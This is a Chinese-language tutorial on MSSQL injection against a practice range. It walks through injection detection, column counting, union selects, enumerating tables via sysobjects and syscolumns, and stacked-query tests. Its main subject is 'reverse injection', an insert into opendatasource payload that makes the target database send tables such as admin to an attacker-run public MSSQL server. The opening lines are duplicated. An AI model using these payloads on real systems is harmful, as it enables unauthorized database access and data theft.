数据库注入 之 MSSQL注入—反弹注入
MSSQL和MySQL注入有区别,但是大同小异。
在互联网上搭建MSSQL(免费获得一个公网上面的MSSQL数据库)
反弹注入:让目标数据库把查询到的结果插到你的数据库里。
所以
MSSQL就是SQL Server MSSQL和MySQL注入有区别,但是大同小异。 在互联网上搭建MSSQL(免费获得一个公网上面的MSSQL数据库) 反弹注入:让目标数据库把查询到的结果插到你的数据库里。 所以需要在公网建立MSSQL数据库。 虚拟主机(搭建小网站) 香港云:sharkasp.net。 注册之后如下 地址,初始库,账号如下,密码是zijishe自己设的。 给出地址、初始化库、账户、密码。 连接这个数据库的方法: 1.在线工具 2.Navicat(推荐) Navicat,选择连接库SQLserver,连接名随便写,后面的按前面的填。 数据库前面图像变黄就成功了。 一般情况用dbo表就可以了。(连接可能慢) 使用命令就新建查询,选择好数据库和库(可以选定一截语句,右键运行已选择语句,很方便) 靶场: and’ 1=1查有无注入 order by 3正常 4错误 查字段 然后union select 1,2,3就不行了 因为mysql是最包容的,对上字段就行了。 对于MSSQL以及Oracle,都不行,必须对应字符类型。 NULL是可以对应所有字符类型的,所以可以Select null,null,null,但是这样没有显错点,所以还要一个一个试。 比如select 1,null,null就可以知道第一个是不是数字。 靶场是select 1,’a’,’a’ 检测漏洞-找字段数-找输出点-查库查表查字段查数据。 现在到查的环节,但是MSSQL有informaiton但是没有database() 靶场这里不用limit直接输出mssql 注入,页面没限制输出条数。 但是正常的查应该用sysobjects查询系统表(xtype=’u’),syscolumns字段(id=)指定sysobjects中表对应的id select id,name from sysobjects where xtype=’u’(需要记表名和id) select * from syscolumns where id=xxxx (刚才的id) SQL注入模式:堆叠注入(可以用;结束前面语句) 比如select 1;select 2;写一堆语句。 ;select sleep(10)一般成功了就存在堆叠注入。 反弹注入:也属于obb(数据外带) 让目标把数据插入到黑客数据库。 要有堆叠注入才能实现(这样才能用insert) select里不可有insert/update/delete, 但是他们里面可以有select(子查询),他们之间也不能互相有。 应对场景:1.盲注 2.加快拖库 实施语句: insert into opendatasource(‘链接引擎’,’server=链接地址,连接端口;uid=用户名;pwd=密码;database=库名’).库名.dbo(权限).表名 select * from admin(想要的结果) 链接引擎就是连接方式,固定为sqloledb。端口一般默认1433,两个库名一样即可。(表名不能为数字) 注意:插入内容和被插内容字段数要一样。 (编辑:晋中站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |